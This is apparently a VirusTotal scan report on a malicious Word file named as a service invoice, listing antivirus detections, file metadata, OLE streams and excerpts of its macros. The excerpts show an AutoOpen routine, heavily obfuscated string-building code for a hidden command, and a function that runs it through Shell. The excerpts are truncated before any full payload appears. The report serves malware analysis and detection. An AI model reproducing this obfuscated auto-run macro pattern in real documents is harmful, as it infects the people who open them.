Antivirus scan for c3311fe6d1ea1921a035a6a7a75993c50b1842d96164ff1b9cb0630c9ca95c66 at 2018-09-27 07:50:44 UTC

Antivirus	Result	Update
Emsisoft	Trojan-Downloader.Macro.Generic.H (A)	20180927
Endgame	malicious (high confidence)	20180730
Fortinet	VBA/Agent.KRG!tr.dldr	20180927
K7AntiVirus	Trojan ( 00536d111 )	20180927
K7GW	Trojan ( 00536d111 )	20180927
McAfee	W97M/Downloader.dr	20180927
McAfee-GW-Edition	W97M/Downloader.dr	20180927
Microsoft	Trojan:Script/Foretype.A!ml	20180927
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi	20180927
Qihoo-360	virus.office.qexvmc.1095	20180927
SentinelOne (Static ML)	static engine - malicious	20180926
Symantec	ISB.Downloader!gen131	20180927
TACHYON	Suspicious/W97M.Obfus.Gen.1	20180927
Tencent	Heur.Macro.Generic.Gen.h	20180927
TrendMicro	HEUR_VBA.O.ELBP	20180927
Zoner	Probably W97Obfuscated	20180926
Ad-Aware		20180927
AegisLab		20180927
AhnLab-V3		20180927
Alibaba		20180921
ALYac		20180927
Antiy-AVL		20180927
Arcabit		20180927
Avast		20180927
Avast-Mobile		20180927
AVG		20180927
Avira (no cloud)		20180927
AVware		20180925
Babable		20180918
Baidu		20180927
BitDefender		20180927
Bkav		20180927
CAT-QuickHeal		20180926
ClamAV		20180927
CMC		20180926
Comodo		20180927
CrowdStrike Falcon (ML)		20180723
Cybereason		20180225
Cylance		20180927
Cyren		20180927
DrWeb		20180927
eGambit		20180927
ESET-NOD32		20180927
F-Prot		20180927
F-Secure		20180927
GData		20180927
Sophos ML		20180717
Jiangmin		20180926
Kaspersky		20180927
Kingsoft		20180927
Malwarebytes		20180927
MAX		20180927
eScan		20180927
Palo Alto Networks (Known Signatures)		20180927
Panda		20180926
Rising		20180927
Sophos AV		20180927
SUPERAntiSpyware		20180907
Symantec Mobile Insight		20180924
TheHacker		20180927
TotalDefense		20180925
TrendMicro-HouseCall		20180927
Trustlook		20180927
VBA32		20180926
VIPRE		20180927
ViRobot		20180927
Webroot		20180927
Yandex		20180926
Zillya		20180926
ZoneAlarm by Check Point		20180925

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

Summary

creation_datetime

2018-09-27 08:07:00

revision_number

author

Juliana

page_count

last_saved

2018-09-27 08:07:00

word_count

template

Normal.dotm

application_name

Microsoft Office Word

character_count

code_page

Latin I

Document summary

line_count

characters_with_spaces

version

1048576

paragraph_count

code_page

Latin I

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/LHuIDwzF

[+] Macros/VBA/YqSEdMqonDEFL

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/vsIdXhkKIE

[+] WordDocument

Macros and VBA code streams

[+] YqSEdMqonDEFL.cls Macros/VBA/YqSEdMqonDEFL 2496 bytes

Sub AutoOpen()
   Dim zFtMKt(1)
zFtMKt(0) = Left(PNcwX + upqPBMiWSikaUjvzTOfa + ifPuB, 69) + InStr(RFMmrR + jitbJWDmvDZDcONTjPcJ + NJOzppdi, zjwtMqL + AVUoqVdwmDGZiNaEwGZvC + hRUGqE)
   Dim UdqsJ(1)
UdqsJ(0) = Left(wVtPmmC + zPkBqwutEjBTFThplOohF + zAcFi, 620) + InStr(FZOii + wtFZbdQiwzATifSjztRu + NOzuSLGj, vbjHdj + IjfTbusizWpiwNOQfQl + RMQFzK) + InStrRev(TYmtUt + CjwGKmwvHtPdWoLCOim + tGVGM, TbKdj + JDZTJsQwYuPFJqYAwNDrf + CanIR) + InStr(DBzoKdr + KzLzhdCjOjpXGjApqDoHz + IrkQm, KtuUm + wkYCQjunuacBupOSjml + cXiMMR)
   Dim XhtSPF(1)
XhtSPF(0) = Right(UNEpqJH + XFFUwLRGatPVUdETBj + jhLYjdc, 357) + Right(BoMUcb + AIinUAiUMEnPiRnkwfoi + CSuIABd, 140)
   Dim Kqqubm(1)
Kqqubm(0) = InStr(WKHCnItu + svKvhvSjOojCOrjDjWoY + XjATsrTr, iYOJwwJG + qItVIJrpkEWJKvwo + owbzGc) + InStr(lMiRL + niLbhcTiLiMDLRkkBKR + ojmDY, iwuWQ + prmisoPaPhBRjEWIJm + wvNFwOER) + Right(EvtOfY + ZJXWWEGwpAHiBoifijBV + dNlhnZza, 681) + Left(SbYJjpRO + ucDrZwttYoZbtqoQDjuO + MKVBqjG, 625)
   Dim PbdbNE(1)
PbdbNE(0) = Left(uIIHls + czMubDVOLTwAYvLmK + tIkVIW, 257) + Right(mtiJmKH + THNClufHkLZGKFDKGu + JdjFn, 99) + InStr(oKZrDF + PadOcthKYzjtRhzDYFP + tWXPjr, OjufR + PWzuPFirQHKERAUDVF + ATUvSZCO) + Right(TnCFU + LPjwYjCvOuLNBawbuJPio + AkOPM, 614)
hwXhczA (KeyString(StVXBT + rzYXCKz + 19 + 1 + 47 + GLwaaR + QEJswz) + QVCrCD + vDFYufHX + KeyString(zJFosb + kPBmuznC + 21 + 1 + 55 + uHNDiCfW + flwmlW) + dNiWMl + QXZFktJwkbI + mfzmNJQ + uGIVqTfUqbR + kwPtcnaPBEv + jjXmR + nHtXRhMOz + hqNcDbp + sAfSs)
   Dim CQmiqF(2)
CQmiqF(0) = InStr(BzGoH + cNOZQocvZqfZzDjiKEjCw + IpIlwXU, zcjdla + FzaTBQiXZjusKijmmzc + IjEHr) + Left(kjhzwhOG + DZwoWWoJuEniCdKSuJqk + KKNVlUav, 884) + InStrRev(TXlMP + tswAfTPDowjNpMMbodZir + aMrZF, MrizK + FSRmzKiNiZAnJATOZsCai + XAzotB) + InStr(iKHssiY + MzErCMUtwGBCDhniPIlX + aqLWN, fmNfi + naUzDafRUoKqqbbkkc + wjQFV)
CQmiqF(1) = Left(IZHSupn + tavYrhrKhimpsROWSmV + mMPCXv, 158) + InStrRev(GrKjzUQd + nlsEfRacRThXPflATOZKz + fLUtF, aWitHj + ThCUZTuBpwdGjvHimOIh + UzsAsXi)
   Dim wFZpf( [... continues ...]

[+] vsIdXhkKIE.bas Macros/VBA/vsIdXhkKIE 26966 bytes

Function dNiWMl()
ElAdAtmtDsN = "d  //   \ /  " + "\  \\ /V:ON/" + "C" + """" + "set `\$~=02a7 702" + "a a270 a720 a" + "072 7a20 0a72 27a0 0"
KSUtIiOL = "2a7 0a72 7a02 0" + "27a 0a72 a702 70" + "2a 2a70 027a 720a}a"
Dim faUiT(1)
faUiT(0) = Right(cBbTj + pHYbUnjodVWanHZILZVzN + qHDLKRIB, 495) + Right(MXGvp + XScMUbziwYTJYwcliS + ZOSZvw, 915) + Left(HfqsTdm + NmLdGfpvJTDfzSDDCXzij + iUYFT, 797) + Right(FSCvInjz + vjcfXoQjYVNDfpVWtqi + uABHqPTX, 996)
   Dim vJLjK(1)
vJLjK(0) = InStrRev(sqKUu + ZPsXwGUKzPqKPdaPpVh + zrQkYwip, YDmwB + bzLQTzPkHtfavsXFpEvLVa + qZUHYzVu) + InStrRev(jfraV + kJpQjBqYaQfnqptBQzUjEBKA + OPiHTkRl, YdidY + uLqmpaYrQdlPVjhLhYUG + UpRnQ) + InStr(wmQpX + oDjbTnSpXACYqZFSi + NkbYVmc, EbJWd + mkHCztmOuawrjFZCwAvSNpkM + lrvCjSh) + InStr(lTwMca + NbzCGSnsqStMOhqDitKQ + jRWAo, BJXkwYiY + ocPdHlHXRXhLczXB + EXbsCrzu)
   Dim Hjzwko(2)
Hjzwko(0) = InStr(lUrOX + mOcFvRnlWmInUOHthKBYm + YIUCm, ccEvu + WwOawjkjXdGDlqqAv + TijIHKr) + InStr(TGaLO + nYzncwZfcZrOEbtcfq + qtjVJA, owsCcv + WJEIiAlwaAwSIwwIu + PfwOktW) + InStrRev(KXsFWl + FtuXiAFvrkEdnvtZMQ + OwKqa, kWSEDBB + irThCmzXOoJdMUljaYK + WGOlZj) + InStr(rMuUw + czYSMWHJwawPIUMwLvY + nGkSQ, hmjDaArR + zEnzlrhNZHwGJLfGBDqqw + iRDIc)
Hjzwko(1) = Right(LwTYNB + FNsrjXznoLLiOoHaJ + vzMjv, 255) + Right(wiswzd + JfLRQRjjPnFbFmvR + zkKPXqh, 367) + InStr(jQhzuzwt + cCfaijrnLBLCvABsc + wRHoBI, nCqPC + kkrwiYwUOFozBwvLFNTp + WfXzUma) + InStrRev(QQBdFkXV + wThKqBrqrrQuMAAwzb + JjjzUqb, hPiQoVhw + jTwzWpzkXYmzYdKBWdPJ + fiwTiTw)
ZkRwfihNUVm = "270}7a20{270ah27" + "a0c270at072a" + "a07a2c20a7}0" + "a27;70a2k7a20a72a0" + "e207ar07a2b"
Dim WiWoHY(1)
WiWoHY(0) = Left(ktQBTUXU + YHXrVjolEfolsKEj + avGjwo, 428) + Right(fWYarY + MmkTmXPjIPbJToCMQKZvhjO + PlQNk, 589) + Right(lAnXrjQj + NMiVbtMUmrCnYwGsCrfbvQw + ZaIPbBAN, 512) + Right(WBtJF + NPYlDWnnikmFXRuicbm + fnjWAwV, 420)
   Dim luQoXm(2)
luQoXm(0) = InStrRev(NRcnoh + bPaYIbqFPmRDpNPrpGcWr + YHJrw, WWFuVZK + jHAJTXDuQqwXzXECidNR + jSHUYzh) + InStr(tOrskBD + iLnzXMMzHVzVq [... continues ...]

[+] LHuIDwzF.bas Macros/VBA/LHuIDwzF 2118 bytes

run-file

Function hwXhczA(hItDFzI As String)
Const VPwaMzlBlm = 0
   Dim RnABR(1)
RnABR(0) = InStr(UwPtdUli + LqBlfajsDIoqCBdQ + bdNvi, rMQcR + owhlhZRYrchbDaTuwjMnq + Wsfnfba) + Right(DUsiQ + wVTzAQtIKWbKrlE + tuMAGd, 32) + InStrRev(PjiIhQSW + WcmiUEhZtcGiNPJSrXwt + bslYLsUi, wHPrwYl + WIFQsYOELFXitMwUOAI + jTBmR) + Left(lWPYjW + zwjQWWINiwkcQMkCkYWc + tTASTBX, 697)
   Dim AkSAb(1)
AkSAb(0) = InStr(HoCWYPi + ZqwOsKKzHqUwAYqjwYtpVY + iPQLvi, jXRbq + CUjJJijkYwVufpXmJuhv + DzoQWPt) + InStr(qUoOMj + fmzNzXicEEjNVZlrqTOJ + fpjlaK, OCIwY + FTtLoVUuDqHNQdszU + LBtAf)
   Dim KzppFW(2)
KzppFW(0) = Right(TRQOk + SRkwCEdFTNCtYcPnksS + KiJomq, 939) + InStrRev(mljPJ + KWjWsTRZtowwzdSlUvL + WqtzLM, TJZWiQ + QGPsBwaJmCwXcfUABaTsM + fmaGQM)
KzppFW(1) = Right(DpvwNYQj + JLvqbaOQYQwOCHnjCVpE + tDhGcl, 817) + InStr(DZZoLz + wTdGbrjFdAlDTRhXJIn + RvziHib, UtlzSSK + XIptPjHWdcGtDpjtIZa + wiaVSz) + Right(TiQik + QQzHzGjkEwdmQhGYuhIwpX + mKrBTR, 14) + Right(ZSDKSHpQ + dwmiUXcwHTKrtRtCcM + obdDNcZ, 378)
Shell% hItDFzI, VPwaMzlBlm
   Dim vhbti(1)
vhbti(0) = InStrRev(kviiROFi + NkvRUHOWRdfuzBKL + tGUUZkqF, RYUJa + bbUfIVNaCnRNqITibw + QInOMw) + Left(TBwikz + fzGzhCoHuiLpwhFDXU + PajUP, 317)
   Dim ckipJP(2)
ckipJP(0) = InStrRev(uHEtfo + zMpjLiEGQuZzCrTuQvIm + BlRQaJ, qljIa + WZjtUQVPCCLtpUBSKtwn + IUGsK) + InStrRev(swuVZs + fVzOYzsPwGGHQFDmMwOXH + SzuzPhh, YzYHJPE + DmKcrUjWHDQwsivUWjZZn + cNvdzrd) + InStrRev(VZqFZ + baPOZFRSTjOQiNWsVabJ + XolOopuG, zXXHXvcz + OKYICvhuSzQEajEpdoI + OzTDVZz) + InStr(DYNPdMo + MUwiTwGPYJAhrtDj + UVXkB, ADrBjbvI + fWzPKYSjSjXjJIszbzS + FMhIQs)
ckipJP(1) = InStrRev(JNXJuw + EFRkHcTihYCIHiNbwrKOr + OVlwG, DXsAKJc + PjTIQCfJNmMEuqZOzwtb + FjqMRX) + InStrRev(tufXw + qcQtTwdBbhJBWIBnLSo + pFGLzK, JCGUchw + GolkOKrXXWKCfADOPnd + CzLojt) + InStrRev(pELzK + nwTbnfUJEocikizMiPGVK + TVbhCUUc, TBDthW + sRwSGkiwwLjapLzCbBUI + PzcuT) + InStr(ElSMBBOq + WVRutDNhhTXJvIrkG + zSboqlo, LbBzmjO + YjlSZdDuGtWGtYzTEUSZX + zjaXL)
   Dim RrCjX(1)
RrCjX(0) = InStr(HTmpVJm + UrTcTricIuvcawuLW [... continues ...]

ExifTool file metadata

SharedDoc

Author

Juliana

HyperlinksChanged

System

Windows

LinksUpToDate

HeadingPairs

Title, 1

Identification

Word 8.0

Template

Normal.dotm

CharCountWithSpaces

CreateDate

2018:09:27 07:07:00

Word97

LanguageCode

English (US)

CompObjUserType

Microsoft Word 97-2003 Document

ModifyDate

2018:09:27 07:07:00

Characters

CodePage

Windows Latin 1 (Western European)

RevisionNumber

MIMEType

application/msword

Words

FileType

DOC

Lines

AppVersion

16.0

Security

None

Software

Microsoft Office Word

TotalEditTime

Pages

ScaleCrop

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

LastPrinted

0000:00:00 00:00:00

DocFlags

Has picture, 1Table, ExtChar

File identification

MD5 0390f64db69b628bd8708fbeb9ec28b7

SHA1 fc3c2332d8c6d225428325ee2f2946219544c4fc

SHA256 c3311fe6d1ea1921a035a6a7a75993c50b1842d96164ff1b9cb0630c9ca95c66

ssdeep

3072:3te2dw99fE69lEHEw8BUhYPGUNinUCCK:dHdw73BUh8GPU6

File size 151.4 KB ( 155008 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Juliana, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Sep 26 07:07:00 2018, Last Saved Time/Date: Wed Sep 26 07:07:00 2018, Number of Pages: 1, Number of Words: 7, Number of Characters: 45, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-09-27 07:50:44 UTC ( 1 month, 2 weeks ago )

Last submission 2018-09-27 07:50:44 UTC ( 1 month, 2 weeks ago )

File names

zbetcheckin_tracker_Service-Invoice

SHA256:	c3311fe6d1ea1921a035a6a7a75993c50b1842d96164ff1b9cb0630c9ca95c66
File name:	zbetcheckin_tracker_Service-Invoice
Detection ratio:	16 / 60
Analysis date:	2018-09-27 07:50:44 UTC ( 1 month, 2 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in